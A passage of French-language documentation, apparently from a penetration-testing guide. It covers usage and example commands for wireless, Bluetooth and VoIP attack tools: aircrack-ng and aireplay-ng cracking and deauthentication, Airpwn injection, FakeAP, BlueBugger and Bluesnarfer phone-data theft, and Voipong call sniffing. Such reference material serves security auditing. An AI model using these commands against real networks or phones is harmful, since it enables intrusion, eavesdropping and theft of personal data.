--fakeauth delay : fausse authentification avec le point d'accès (-1) --interactive : interactive frame selection (-2) --arpreplay : injection standard de requêtes arp (-3) --chopchop : decryptage/chopchop de paquet WEP (-4) --fragment : genere des keystream valides (-5) --test : test d'injection (-9) Les nombres entre les parenthèses peuvent très bien être utilisés au lieu du nom complet. Exemples Une déauthentification aireplay-ng -0 1 -a PA_MAC -c S_MAC rausb0 Une fausse authentification aireplay-ng -1 0 -e SSID -a PA_MAC -h S_MAC rausb0 Une injection de requêtes arp aireplay-ng -3 -a PA_MAC -b ESSID -c S_MAC rausb0 NB : PA_MAC = adresse MAC du point d'accès S_MAC = adresse MAC de la source ESSID = essid du réseau #Aircrack-ng Anciennement aircrack (œuvre de Christophe Devine). Aircrack-ng implémente des algorithmes efficaces pour casser les chiffrements mis en place pour sécuriser les transmissions des réseaux wifi 802.11. (brouillon : mettre ici, les divers attaques implémentés et leurs types de fonctionnement) Usage usage: aircrack-ng [options] <.cap / .ivs file(s)> Options Options communes: -a <amode> : force à utiliser un mode d'attaque (1/WEP, 2/WPA-PSK) -e <essid> : sélection de la cible: identifiant réseau -b <bssid> : sélection de la cible: point d'accès MAC -q : active le mode silencieux (no status output) Options pour le cracking static de clées WEP: -c : rechercher seulement les caractères alphanumériques -t : rechercher seulement les caractères décimaux codés en binaire -h : rechercher les clées numériques pour Fritz!BOX -d <mask> : débuggage - spécifier le masque de la clée (A1:XX:CF) -m <maddr> : adresse MAC pour filtrer les packets utilisables. -n <nbits> : WEP key length : 64/128/152/256/512 -i <index> : WEP key index (1 to 4), default: any -f <fudge> : bruteforce fudge factor, default: 2 -k <korek> : désactiver une méthode d'attaque (1 à 17) -x or -x0 : disable last keybytes bruteforce -x1 : enable last keybyte bruteforcing (default) -x2 : enable last two keybytes bruteforcing -X : désactiver le multithreading pour le bruteforce (SMP seulement) -y : mode de bruteforce expérimental -s : affiche la clée de chiffrement en ASCII Options pour le cracking de clées WEP et WPA-PSK: -w <words> : emplacement d'un dictionnaire (plusieurs dictionnaires peuvent-être utilisés. pour plus d'information, consultez les manpages) Exemples d'utilisation aircrack-ng -a 1 -n 64 nom_du_fichier.cap -a = 1/wep ; 2/wpa-psk (force attack). -n = niveau d' encryption wep (64/128/152/256/512)bits. "option facultative" nom_du_fichier.cap = nom utilisé par la commande -w, dans airodump-ng. #Cowpatty Les accès wifi protégés par une clé partagé (PreSharedKey) utilisé dans le chiffrement WPA, peuvent être audités par CowPatty. Il est donc capable à partir d'un dictionnaire, de retrouver la passphrase utilisé dans une communication chiffrée sans fil. Dans la mesure où cette clé est contenue dans le dictionnaire en question. version actuelle : 4.0 Usage Cowpatty Options -f file Ouvrir le dictionnaire file -d fhash Ouvrir un fichier hash (genpmk) -r pcapfile Lire un fichier de capture de paquet. -s essid Indiquer l'essid cible (mettre entre guillemet si il y a un espace) -h Afficher cette aide et quitter. -v Afficher plus d'information (ajouter un -v pour encore plus d'information) -V Afficher la version et quitter. Exemples d'utilisation Lire un fichier .cap (par ex, obtenu avec airodump), en utilisant le dictionnaire all, sur le ssid nommé btwifi : ./cowpatty -r wpa-sniff.cap -f all -s btwifi #WepCrack WepCrack est comme son nom l'indique, un petit casseur de clé wep développé par Anton T. Rager. Son paquage contient en réalité deux outils, WepCrack et WepDecrypt. WepDecrypt, quant à lui, permet de déchiffrer les données transitants par le protocole 802.11b au travers du cryptage WEP. Version actuelle : 0.1.0 Utilisation de WepCrack Utilisation de WepDecrypt #AirPwn Airpwn est un framework pour l'injection de paquet 802.11, c'est à dire l'injection au sein de réseau sans-fil. Il va dans un premier temps écouter les paquets pour déterminer si ils correspondent aux règles de son fichier de configuration. Si tel est le cas, les données adéquates(images, javascript,...) seront injectées pour remplacer(spoofer) celles par défaut. Fonctionnalités : usage: airpwn -c <conf file> -d <driver name> [interface options] [options] <conf file> : configuration file <driver name> : supported wireless driver name Interface options: You can use -i to set all 3 interfaces at once, or use the other options to set each interface individually. -i <iface> : sets the listen/control/inject interface -M <iface> : sets the listen (monitor) interface -C <iface> : sets the control interface -I <iface> : sets the injection interface Optional arguments: -l <logfile> : log verbose data to a file -f <filter> : bpf filter for libpcap -F : assume no FCS values from the monitored interface -m <max> : Specify the maximum data chunk size (MTU - headers) -k <WEP key>: key to use to de/encrypt WEP packets. You can use this option multiple times to specify multiple WEP keys. -v : increase verbosity (can be used multiple times) -h : get help (this stuff) Supported drivers are: wlan-ng hostap airjack prism54 madwifing madwifiold rtl8180 rt2570 rt2500 rt73 rt61 zd1211rw bcm43xx d80211 ath5k iwlwifi Installation Commencer par télécharger airpwn 1.3 : cd /pentest/wireless wget http://sourceforge.net/project/downloading.php?group_id=115632&use_mirror=mesh&filename=airpwn-1.3.tgz&55435474 tar zxvf airpwn-1.3.tgz Utilisation de base On commence par mettre notre carte en mode monitor: airmon-ng airmon-ng start wlan0 et on lance un petit scan pour réperer le réseau et le chan airodump-ng wlan0 Resultat Maintenant on se place dans le dossier cd airpwn-1.3 Et voila un premier exemple d'injection sur un réseau ouvert airpwn -c conf/greet_html -i wlan0 -d rtl8180 -vv -F Il faut saisir le channel, 7 ici. L’injection commence Resulat Un autre exemple : airpwn -c conf/js_html -i wlan0 -d rtl8180 -vv –F Resultat #FakeAP Black Alchemy's Fake AP est un script perl qui permet de générer des centaines de points d'accès 802.11b contrefait, ce qui créé une cacophonie de trames beacon et créé la confusion au sein des sniffers tels que NetStrumbler ou Kismet. Outre sa capacité de HoneyPot, Fake AP peut être utilisé pour conduire des attaques. NOTE: requier les drivers Hostap pour générer de faux APs sinon ça génère de faux clients à la place... Usage fakeap.pl --interface wlanX [--channel X] [--mac XX:XX...] [--essid NAME] [--words FILENAME] [--sleep N] [--vendors FILENAME] [--wep N] [--key KEY] Option --channel X Définir le channel utilisé --essid NAME Définir un nom ESSID --mac XX:XX... Définir l'adresse MAC XX:XX:XX:XX:XX --words FILE Utilise le fichier FILE pour créé les ESSIDs --sleep N Attend N sec entre les permutations, default 0.25 --vendor FILE Utilise le fichier FILE pour définir les préfixes vendeur des adresse MAC --wep N Utilisé le WEP par probabilité N ou 0 < N <= 1 (1 = WEP activé, 0 = WEP désactivé) --key KEY Définir la clé WEP a utilisé. Passé directement à iwconfig --power N Varie la puissance Tx entre 1 et N. En milliwatts. Exemples d'utilisation Générer des APs à partir d'une liste de nom et d'adresse mac (listes présentes dans le répertoire /lists): perl fakeap.pl --interface wlan0 --words lists/stefan-wordlist.txt --vendors lists/stefan-maclist.txt Générer des APs avec le même essid sur le channel 11 (l'adresse Mac est généré automatiquement): perl fakeap.pl --interface wlan0 --channel 11 --essid Bidon Générer des APs sur la même adresse Mac: perl fakeap.pl --interface wlan0 --mac 00:11:22:33:44 #Bdaddr Permet de changer l’adresse unique 48 bit du périphérique Bluetooth (Bluetooth Device Address). Usage bdaddr [-i <dev>] [-r] [-t] [new bdaddr] Exemples d'utilisation bdaddr -i 00:00:00:00:00 -r -t 00:00:00:00:11 #BlueBugger BlueBugger est une implémentation de la technique bluebug découverte Martin Herfurt du Trifinite Group. Testé sur Nokia 6310i, Nokia N72 et Sony Ericsson T68i. L'exploitation de cette faille permet de passer des appels, envoyer des SMS, lire des SMS depuis le téléphone, lire/écrire des entrées dans le répertoire du téléphone, paramétrer le renvoie d'appel, se connecter a internet, forcer l'utilisation d'un provider, et bien plus encore grace au commandes AT des GSM. Usage Usage: bluebugger [OPTIONS] -a <addr> [MODE] -a <addr> = Bluetooth address of target Options: --------m <name> = Name to use when connecting (default: ) -d <device> = Device to use (default: '/dev/rfcomm') -c <channel> = Channelto use (default: 17) -n = No device name lookup -t <timeout> = Timeout in seconds for name lookup (default: 5) -o <file> = Write output to <file> Mode: ----info = Read Phone Info (default) phonebook = Read Phonebook (default) messages = Read SMS Messages (default) dial <num> = Dial number ATCMD = Custom Command (e.g. '+GMI') Note: Modes can be combined, e.g. 'info phonebook +GMI' Commandes AT GSM Nokia GSM Sagem Ericsson ... Mobile supporté Nokia 6310(i) Sony Ericsson T68i (partiellement) Nokia N72 autres ? #BlueSnarfer Bluesnarfer permet de télécharger/effacer/écrire dans le répertoire, passé des appels, envoyer des commande AT vers tous téléphones mobile vulnérable au BlueSnarfing. Usage usage: ./bluesnarfer [options] [ATCMD] -b bt_addr ATCMD : valid AT+CMD (GSM EXTENSION) TYPE : valid phonebook type .. example : "DC" (dialed call list) "SM" (SIM phonebook) "RC" (recevied call list) "XX" much more -b bdaddr : bluetooth device address -C chan : bluetooth rfcomm channel -c ATCMD : custom action -r N-M : read phonebook entry N to M -w N-M : delete phonebook entry N to M -f name : search "name" in phonebook address -s TYPE : select phonebook memory storage -l : list aviable phonebook memory storage -i : device info Exemples d'utilisation Lister le carnet d'adresse (1 à 100): bluesnarfer -r 1-100 -b 00:00:00:00:00 Effacer le carnet da'adresse (1 à 100): bluesnarfer -w 1-100 -b 00:00:00:00:00 Afficher les appels recu (1 à 100): bluesnarfer -s RC -r 1-100 -b 00:00:00:00:00 Passer un appel via une commande AT: bluesnarfer -c 'ATDT00000000;' -b 00:00:00:00:00 Commandes AT GSM Nokia GSM Sagem Ericson ... BTscanner Btscanner permet de lister les périphériques bluetooth disponible et d'y extraire des informations(marque du constructeur, adresse mac, le nom du périphérique...) sans avoir recours au processus de pairage(Echange de confiance entre deux périphériques qui établissent pour la première fois une communication). Version actuelle : 2.1 Usage Usage: btscanner [--no-reset] [--cfg=<filename>] [--help] --no-reset : Ne pas éteindre le périphérique Bluetooth avant le scan. --cfg=<file> : Utiliser <file> comme fichier de configuration au lieu du fichier par défaut. --help : Affiche l'aide. Commandes i => Commencer le scan. b => Commencer le scan en mode brute-force. a => Annuler tous scan. q => Quitte l'écran actuel de btscanner. Q => Quitte complètement btscanner s => Enregistre dans un fichier le résumé de toutes les actions depuis la derniere fois. o => Trie la sortie. Choisissez celle proposé à l'écran. Exemples d'utilisation Btscanner se lance en mode interactif, il utilise la librairie ncurses. Vous n'aurez qu'à vous réferrez à l'aide. bt ~ # btscanner 8 ANALYSE DE VOIP ET DE TÉLÉPHONIE #Voipong Voipong, est un sniffer écrit en C qui détecte toutes transmissions VOIP utilisant la norme de compression audio G-711 utilisé couramment dans les protocoles VOIP. Enregistré sous le format wav, Voipong supporte le protocole SIP, H323, SCCP, RTP and RTCP. Ses principales avantages sont : L'écoute direct grâce au format wave. Simple, optimisé, et portable. L'algorithme se base directement sur les protocoles RTP/RTCP. Un rapport détaillé et simple pour des statistiques. Une interface de gestion complète. (cf. "voipctl") Simple installation et débogage. Usage usage: voipong [options] Options -h affiche l'aide. -v affiche la version -f Ne pas executer le programme en arrière plan(ou démon) -d Niveau du débogage. Les niveaux varient entre 0 et 4. Par défaut: 0 -c Chemin vers un fichier de configuration Exemples d'utilisation Écoute Voip, en utilisant un niveau de debug maximal, en lancant voipong en premier plan : $ voipong -f -d 4